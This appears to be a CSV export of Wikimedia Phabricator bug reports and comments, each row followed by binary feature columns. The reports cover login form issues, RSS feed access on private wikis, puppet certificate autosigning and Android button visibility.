+453723,Occasionally getting 403 HTTP Method not allowed from bits,See T98046 for a more documented bug report :),,,1430784783,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-nr2rykz2i64vicqql4ad,task_subcomment,,True,c3,1,True,,,-9,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,1,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0
+453483,Occasionally getting 403 HTTP Method not allowed from bits,Works for me.,,,1430763846,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-nr2rykz2i64vicqql4ad,task_subcomment,,True,c3,1,True,,,-9,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0
+445508,Occasionally getting 403 HTTP Method not allowed from bits,Still an issue?,,,1429295849,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-nr2rykz2i64vicqql4ad,task_subcomment,,True,c3,1,True,,,-11,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0
+92850,Login/create account/captcha buttons not visible in 2.3,"Since we moved to app compat 22 several button visibility issues have occurred on my 2.3 device (DroidX).
+The most important that's still outstanding is the buttons in Login/create account/captcha are not visible anymore.
+
+Login:
+{F95492}
+
+Create account:
+{F95495}
+
+CAPTCHA:
+{F95497}",Needs Triage,90.0,1426525697,1433856977.0,PHID-USER-tjyfydvd4ncrfvvr6mkr,False,PHID-USER-pbvnfgskfwsdalhpd7np,False,PHID-TASK-vb34bpe7rudx2bgjqthe,task_description,resolved,True,c3,1,False,False,True,-16,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,0,1,0
+427968,Login/create account/captcha buttons not visible in 2.3,"Gerrit patch to move back to previous appcompat version got merged: https://gerrit.wikimedia.org/r/#/c/197377/
+
+Keeping this on the back burner for now to see what happens with the upstream bug.",,,1426626464,,PHID-USER-tjyfydvd4ncrfvvr6mkr,False,,,PHID-TASK-vb34bpe7rudx2bgjqthe,task_subcomment,,True,c3,1,False,,,-16,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,1,0,0,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0
+427872,Login/create account/captcha buttons not visible in 2.3,"The 'Got it' button in the ToC onboarding is affected, too.",,,1426616326,,PHID-USER-tjyfydvd4ncrfvvr6mkr,False,,,PHID-TASK-vb34bpe7rudx2bgjqthe,task_subcomment,,True,c3,1,False,,,-16,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,0
+427393,Login/create account/captcha buttons not visible in 2.3,"Upstream bug: https://code.google.com/p/android/issues/detail?id=160591
+
+As mentioned there, we could use a gradient instead of a solid color but that seems pretty hacky.",,,1426550660,,PHID-USER-tjyfydvd4ncrfvvr6mkr,False,,,PHID-TASK-vb34bpe7rudx2bgjqthe,task_subcomment,,True,c3,1,False,,,-16,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,0,1,0,0,0,0,0
+92772,jupyter.wmflabs.org gives 500 http error code if user attempting to log in has special characters on their username,Things like 'Halfak (WMF)' will trigger this,Needs Triage,90.0,1426445809,1460477225.0,PHID-USER-2nnm76h4ykalvvref2ye,False,PHID-USER-2nnm76h4ykalvvref2ye,False,PHID-TASK-kowz3rt5gtzrdjyrbfkd,task_description,invalid,True,c3,1,True,True,False,-16,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0
+92671,Decide upon tile distribution/HTTP caching strategy,This is gonna hurt.,Needs Triage,90.0,1426280063,1436390800.0,PHID-USER-aasrweh54ew7py3agvg2,False,PHID-USER-aasrweh54ew7py3agvg2,False,PHID-TASK-ng5szrcsgogtkvx5q323,task_description,resolved,True,c3,1,True,True,True,-16,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0
+488953,Decide upon tile distribution/HTTP caching strategy,I think we're good here.,,,1436390800,,PHID-USER-aasrweh54ew7py3agvg2,False,,,PHID-TASK-ng5szrcsgogtkvx5q323,task_subcomment,,True,c3,3,True,,,0,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+92606,Provide option to autosign puppet certs for self hosted puppetmasters,"In an effort to not require any manual effort at all for mass new creations, self hosted puppetmasters should be able to autosign certs.
+
+This is already happening for the labs puppetmaster...",Needs Triage,90.0,1426228927,1426314661.0,PHID-USER-2nnm76h4ykalvvref2ye,False,PHID-USER-2nnm76h4ykalvvref2ye,False,PHID-TASK-ts7fbyq6omlprmmxjbe6,task_description,resolved,True,c3,1,True,True,True,-16,True,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0
+426381,Provide option to autosign puppet certs for self hosted puppetmasters,"Bam, done!",,,1426314661,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-ts7fbyq6omlprmmxjbe6,task_subcomment,,True,c3,1,True,,,-16,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+426021,Provide option to autosign puppet certs for self hosted puppetmasters,"Change 196537 merged by Andrew Bogott:
+puppetmaster: Refactor out the auto key signer
+
+[[https://gerrit.wikimedia.org/r/196537]]",,,1426261613,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ts7fbyq6omlprmmxjbe6,task_subcomment,,True,c3,1,False,,,-16,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+425831,Provide option to autosign puppet certs for self hosted puppetmasters,"Change 196537 had a related patch set uploaded (by Yuvipanda):
+puppetmaster: Refactor out the auto key signer
+
+[[https://gerrit.wikimedia.org/r/196537]]
+",,,1426229049,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ts7fbyq6omlprmmxjbe6,task_subcomment,,True,c3,1,False,,,-16,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+92469,RSS RecentChanges does not work on login-required wiki,"I am trying to get Recent Changes RSS feeds to work from a wiki that requires login for access to most pages (some are whitelisted). I use tinytinyRSS, a web based feed aggregator. It's set up so that clicking on an RSS feed link generates a new feed. When I click on the recent changes RSS link in wikipedia, it creates a working link. When I click the same button in our password protected mediawiki it gives me an error: 
+ No feeds found in http://ccmdb.kuality.ca/api.php?hidebots=1&days=7&limit=50&action=feedrecentchanges&feedformat=rss
+
+When I look at the feed from a different browser (crome) that is not set up to push rss links into tinyRSS I get:
+* When I am logged in, something that looks like an RSS feed
+* When I log out I get the API instructions with <error code=""readapidenied"" info=""You need read permission to use this module"" xml:space=""preserve"">
+
+When I look at the error in TinyRSS it says ""LibXML error 5 at line 3217 (column 1): Extra content at the end of the document"" 
+When I copy and paste the API response into Notepad++ to count lines it only seems to have 3206.
+
+TinyRSS allows me to access feeds with a login; using my login for this wiki makes no difference for this.
+
+Am I going at this the wrong way? Thanks!",Needs Triage,90.0,1426123427,1546611999.0,PHID-USER-nho6nruikfxukgoipwm2,False,PHID-USER-uqcn2l4ng4murmyfnvyp,False,PHID-TASK-4jh3z2kcl4cg5xs3xbby,task_description,declined,True,c3,1,False,False,False,-16,True,1,1,0,1,1,1,0,0,0,0,1,1,0,1,0,1,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,1,0,1,1,1,0,0,1,0,0,0,1,0,1,1,1,1,1,0,1,0,1,0,0,0,0,0,0,1,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,1,1,0,1,1
+1203816,RSS RecentChanges does not work on login-required wiki,"Since someone dumped this on #core_platform_team...
+
+The bottom line here is that, on a private wiki, you need to be logged in in order to access the recent changes feed. That's the permissions mechanism working correctly. A client wanting to do that is going to have to implement a supported authentication method, whether that's maintaining the login cookies, using OAuth, or something else MediaWiki might support.
+
+As noted in T92469#1743615, adding of parameters to work like the `action=feedwatchlist`'s `wlowner` and `wltoken` would be a possibility, but no one has called for that since and use of OAuth would likely be more secure.",,,1546611999,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-4jh3z2kcl4cg5xs3xbby,task_subcomment,,True,c3,3,True,,,183,True,0,1,0,1,0,1,1,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,1,0,1,0,0,0,1,1,1,1,1,0,1,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,1,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,1,0,0
+1203227,RSS RecentChanges does not work on login-required wiki,"@JTannerWMF: If this is not #MediaWiki-Recent-changes, which software project tag should be associated to this task?",,,1546532147,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-4jh3z2kcl4cg5xs3xbby,task_subcomment,,True,c3,3,True,,,183,True,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,1,0,0,0,0,0,0
+549984,RSS RecentChanges does not work on login-required wiki,"It seems like TinyRSS should use OAuth to consume the feed as the user in this case. I have no idea if they have a dev community that can implement that. I don't like the idea of expanding our watchlist tokens to be more generic. But obviously if there is strong demand for that, then I can look into the security of it more.",,,1445457557,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-4jh3z2kcl4cg5xs3xbby,task_subcomment,,True,c3,3,True,,,15,True,0,0,0,0,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,1,0,0,1,0,0,1,1,1,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+549836,RSS RecentChanges does not work on login-required wiki,"If RSS feeds from mediawiki are to be accessible from a feed reader that is web based then cookies won't do the trick but a token would. To me, being accessible from multiple devices is one of the main benefits of a feed aggregator, so this would be a good feature. 
+
+I eventually used the work-around in https://phabricator.wikimedia.org/T76528. In our case the wiki is pretty low-key so I am not too concerned opening it up like that, especially since you still need to log on to read articles. A token would likely be better. Or at least a setting that allows me to change this preference in localsettings. ",,,1445445551,,PHID-USER-nho6nruikfxukgoipwm2,False,,,PHID-TASK-4jh3z2kcl4cg5xs3xbby,task_subcomment,,True,c3,3,False,,,15,True,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,1,0,1,0,0,1,0,1,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,1,1,0
+549653,RSS RecentChanges does not work on login-required wiki,"@csteipp what do you think? Shall we provide an additional 'feed' token for API [[https://www.mediawiki.org/w/api.php?action=help&modules=feedrecentchanges|feedrecentchanges]] and [[https://www.mediawiki.org/w/api.php?action=help&modules=feedcontributions|feedcontributions]] modules? I think re-using existing watchlist or patrol tokens is not an option?
+",,,1445423485,,PHID-USER-qduasitr62ffvc5eiivd,False,,,PHID-TASK-4jh3z2kcl4cg5xs3xbby,task_subcomment,,True,c3,3,True,,,15,True,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,1,1,1,1,0,1,0,0,1
+549650,RSS RecentChanges does not work on login-required wiki,"No, MediaWiki does not use basic authentication. You can use cookies if you want.
+
+Did you check if you can still access your personal watchlist feed - from Special:Watchlist
+
+This one uses a special token so you can bypass login.
+
+If I understand correctly what you might need is to have a kind of [[https://www.mediawiki.org/wiki/API:Tokens |token]] that creates a custom recent changes link for you to bypass login.",,,1445423079,,PHID-USER-qduasitr62ffvc5eiivd,False,,,PHID-TASK-4jh3z2kcl4cg5xs3xbby,task_subcomment,,True,c3,3,True,,,15,True,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,1
+426917,RSS RecentChanges does not work on login-required wiki,"TinyRSS forums got back saying that for an authenticated feed listing to work, ""http basic/digest auth"" needs to be supported and that ""digest authentication requires curl"". Does Mediawiki work like that?",,,1426518169,,PHID-USER-nho6nruikfxukgoipwm2,False,,,PHID-TASK-4jh3z2kcl4cg5xs3xbby,task_subcomment,,True,c3,1,False,,,-16,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,0,1,0,1,0,0,0
+425729,RSS RecentChanges does not work on login-required wiki,"I think there are two things going on. For one, the login/authentication between mediawiki and tinyRSS is not working. The api comes back with a message ""You need read permission to use this module"". I would be interested to know how to troubleshoot that... I don't know how to view what is going on there.
+
+The second problem is, though, that the RSS feeder can't interpret that error as a feed and so let me know what is wrong. I don't think what comes back is formatted as a feed. Maybe I am naive, but it seems to me that a request for an RSS feed would best be countered with a ""you can't have it because..."" as an RSS feed. Does that make sense?
+
+I am looking into the TinyRSS side of things.
+
+MediaWiki 	1.24.0
+PHP 	5.5.21 (cgi-fcgi)
+MySQL 	5.6.22-cll-lve",,,1426204981,,PHID-USER-nho6nruikfxukgoipwm2,False,,,PHID-TASK-4jh3z2kcl4cg5xs3xbby,task_subcomment,,True,c3,1,False,,,-16,True,0,0,0,1,1,1,1,1,1,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,0,1,1,0,1,1,0,0,0,1,0,1,0,0,1,1,1,1,0,0,1,0,0,0,0,0,1,1,0,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,0,1,0
+425227,RSS RecentChanges does not work on login-required wiki,"Have you contacted the tinytinyRSS maintainers, also to find out how to get more info about that specific ""extra content""? Or how to debug / make sure whether the login was actually successful?
+
+Also, which MediaWiki version is this about?
+
+So far I don't see any clear MediaWiki software bug reported here, but potentially a configuration issue (either in MediaWiki or tinytinyRSS)...",,,1426170065,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-4jh3z2kcl4cg5xs3xbby,task_subcomment,,True,c3,1,True,,,-16,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,0,1,0,0
+92256,create a way to access all my saved pages online with a login in a desktop browser,request #2 ib https://ticket.wikimedia.org/otrs/index.pl?Action=AgentTicketZoom;TicketID=8172705,Needs Triage,90.0,1425991276,1426007208.0,PHID-USER-u7udgblfyop6qd5wxot6,False,PHID-USER-x7ti5ksby4ubsabntlxa,False,PHID-TASK-lqu7q5qjjdteq3apbi2t,task_description,duplicate,True,c3,1,False,False,True,-17,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+92180,Extend login sessions,"Per [Bug 66699](https://bugzilla.wikimedia.org/show_bug.cgi?id=66699)
+
+**User story**: as a registered user, I wanted to have my login session remembered, so that I don't have to repeatedly log in. 
+
+**Specification**: the login sessions for users who choose to be remembered should be set to one year expiry. 
+
+
+==== TODO ====
+ * [] Review [141248](https://gerrit.wikimedia.org/r/#/c/141248/) - Configure logged in session length independently 
+
+ * [] Review [141394](https://gerrit.wikimedia.org/r/#/c/141394/) - CentralAuth 
+
+ * [] mediawiki-config change 
+
+
+
+--------------------------
+**Trello card**: [[ https://trello.com/c/CuOVnYcZ/522-extend-login-sessions | CuOVnYcZ ]]
+
+ * column: Needs Review/QA
+
+ * labels:  Feature (green)
+",Needs Triage,90.0,1425962283,1426044760.0,PHID-USER-iedamnrw3opyzyxhmker,False,PHID-USER-dw53c5cb2qfhyemej57o,True,PHID-TASK-cu6qxyfp5yefmu7dbkr2,task_description,duplicate,True,c3,1,False,False,True,-17,True,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,1,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,1
+92110,Cleanup and document login and create messages left from vform work,"We unintentionally left some cruft in when removing the old login and create account forms.
+
+Specifically, loginstart, loginend, signupstart, signupend (and possibly others) were removed from use, but not removed entirely.  This also needs to be documented at https://www.mediawiki.org/wiki/Account_creation_user_experience/Strings#Removed_old_messages
+
+See also {T58455}
+
+--------------------------
+**Trello card**: [[ https://trello.com/c/fPSXLKrn/218-cleanup-and-document-login-and-create-messages-left-from-vform-work | fPSXLKrn ]]
+
+ * column: Bucket o' Mess
+
+ * labels:  Technical Debt & Refactoring (orange)
+",Needs Triage,90.0,1425960423,1687902675.0,PHID-USER-iedamnrw3opyzyxhmker,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-jjxtdbmadyepiq2vrkyu,task_description,invalid,True,c3,1,False,False,False,-17,True,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,0,0,1,0,0,1
+2149930,Cleanup and document login and create messages left from vform work,"> Specifically, loginstart, loginend, signupstart, signupend (and possibly others) were removed from use, but not removed entirely.
+
+loginstart and loginendwere removed in 2014 in https://gerrit.wikimedia.org/r/c/mediawiki/core/+/151536
+
+signupstart and signupend are still in use today, MediaWiki supports them and they have a few overrides on Wikimedia wikis. Maybe support for them was restored after the initial deployment or something. ",,,1687902675,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-jjxtdbmadyepiq2vrkyu,task_subcomment,,True,c3,3,True,,,416,True,1,1,1,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,0,1,1,0,0,0,0
+92109,Login & Create account form improvements,"Lots of good ideas we didn't include in initial launch
+==== Ideas ====
+ * [] Eliminate labels, only use placeholder text (depends on improving placeholder support in supported browsers, e.g. https://bugzilla.wikimedia.org/48918) 
+
+ * [] If user fills in username and password on Create account form, attempt to login with them 
+
+ * [] Make primary button less dominating 
+
+ * [] Reintroduce Login button on Create account form? 
+
+ * [] Improve Username help/policy, e.g. display tipsy help when username field has focus. 
+
+ * [] On Login form, position the ""Don't have an account? [Join TheWiki]"" CTA to right if there's space, like Create account's benefits. 
+
+ * [] Client-side validation in Create account 
+
+ * [] Hide skin elements, e.g. the top-right navigation link to the form you're already on. 
+
+ * [] Rename the skin's [Special page] tab to include the name of the form, and eliminate the H1 heading 
+
+ * [] Garbled HTML in Titleblacklist error, https://bugzilla.wikimedia.org/38894 
+
+
+
+--------------------------
+**Trello card**: [[ https://trello.com/c/5xRitMcR/177-login-create-account-form-improvements | 5xRitMcR ]]
+
+ * column: Bucket o' Mess
+
+ * labels:  Research (blue)
+",Needs Triage,90.0,1425960422,1458742487.0,PHID-USER-iedamnrw3opyzyxhmker,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-ryvuzdqorhbrkg7mg7fy,task_description,declined,True,c3,1,False,False,False,-17,True,0,0,0,0,1,1,0,0,0,1,1,1,0,1,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1
+634081,Login & Create account form improvements,"Mass-declining tasks that only have the now defunct #Growth-Team associated but no other projects, as announced in https://phabricator.wikimedia.org/T127072 - Feel free to reopen this task if it is still valid by associating an //active// project and resetting its status.",,,1458742487,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ryvuzdqorhbrkg7mg7fy,task_subcomment,,True,c3,3,True,,,37,True,0,0,0,0,0,1,1,0,0,1,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+92108,Non-Vector optimization for Login + Create account redesign,"List of TODOs on non-Vector skins. This is lower priority because the only way to view these is to either force the skin or be already logged in. Of all alternate skins, Monobook is the one that really matters, but we can note any feedback on other skins here too. 
+==== Outstanding items ====
+ * [] In Monobook, new form inherits grey background 
+
+ * [] In Monobook, the 100%-wide form items hit the edge of the gray background and input focus halo protrudes 
+
+ * [] Should the form border vanish in all skins, or just Vector? 
+
+ * [] Should the margin and padding be 0 in all skins, or just Vector? 
+
+ * [] SimpleCaptcha wraps onto new line, https://gerrit.wikimedia.org/r/71102 
+
+
+
+--------------------------
+**Trello card**: [[ https://trello.com/c/lmY261Rx/144-non-vector-optimization-for-login-create-account-redesign | lmY261Rx ]]
+
+ * column: Bucket o' Mess
+
+ * labels:  Technical Debt & Refactoring (orange)
+
+ - Attachments
+   - [[ https://trello-attachments.s3.amazonaws.com/5032806a85f7309c527929de/514ca928c073528f5d00061a/aab428c6b94b2b1d300c1224e2321b3c/Screen_Shot_2013-03-22_at_11.58.03_AM.png |  Screen Shot 2013-03-22 at 11.58.03 AM.png ]] (cover image)
+",Needs Triage,90.0,1425960421,1458742487.0,PHID-USER-iedamnrw3opyzyxhmker,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-zqorvi275o4xfv57dmzq,task_description,declined,True,c3,1,False,False,False,-17,True,1,0,0,1,0,1,1,1,0,0,1,0,0,1,0,1,1,1,1,0,1,1,0,0,1,1,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,0,0,0,1,0,1
+634082,Non-Vector optimization for Login + Create account redesign,"Mass-declining tasks that only have the now defunct #Growth-Team associated but no other projects, as announced in https://phabricator.wikimedia.org/T127072 - Feel free to reopen this task if it is still valid by associating an //active// project and resetting its status.",,,1458742487,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-zqorvi275o4xfv57dmzq,task_subcomment,,True,c3,3,True,,,37,True,0,0,0,0,0,1,1,0,0,1,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+92105,"Bug 47883
+ - Reinstate loginstart and loginend, and blank on WMF wikis","[Bug 47883](https://bugzilla.wikimedia.org/show_bug.cgi?id=47883)
+==== Checklist ====
+ * [] Blank loginstart and loginend on WMF wikis 
+
+ * [] Add back to core as blank by default messages 
+
+
+
+--------------------------
+**Trello card**: [[ https://trello.com/c/9tfRp42H/271-bug-47883-reinstate-loginstart-and-loginend-and-blank-on-wmf-wikis | 9tfRp42H ]]
+
+ * column: Bucket o' Mess
+
+ * labels:  Technical Debt & Refactoring (orange)
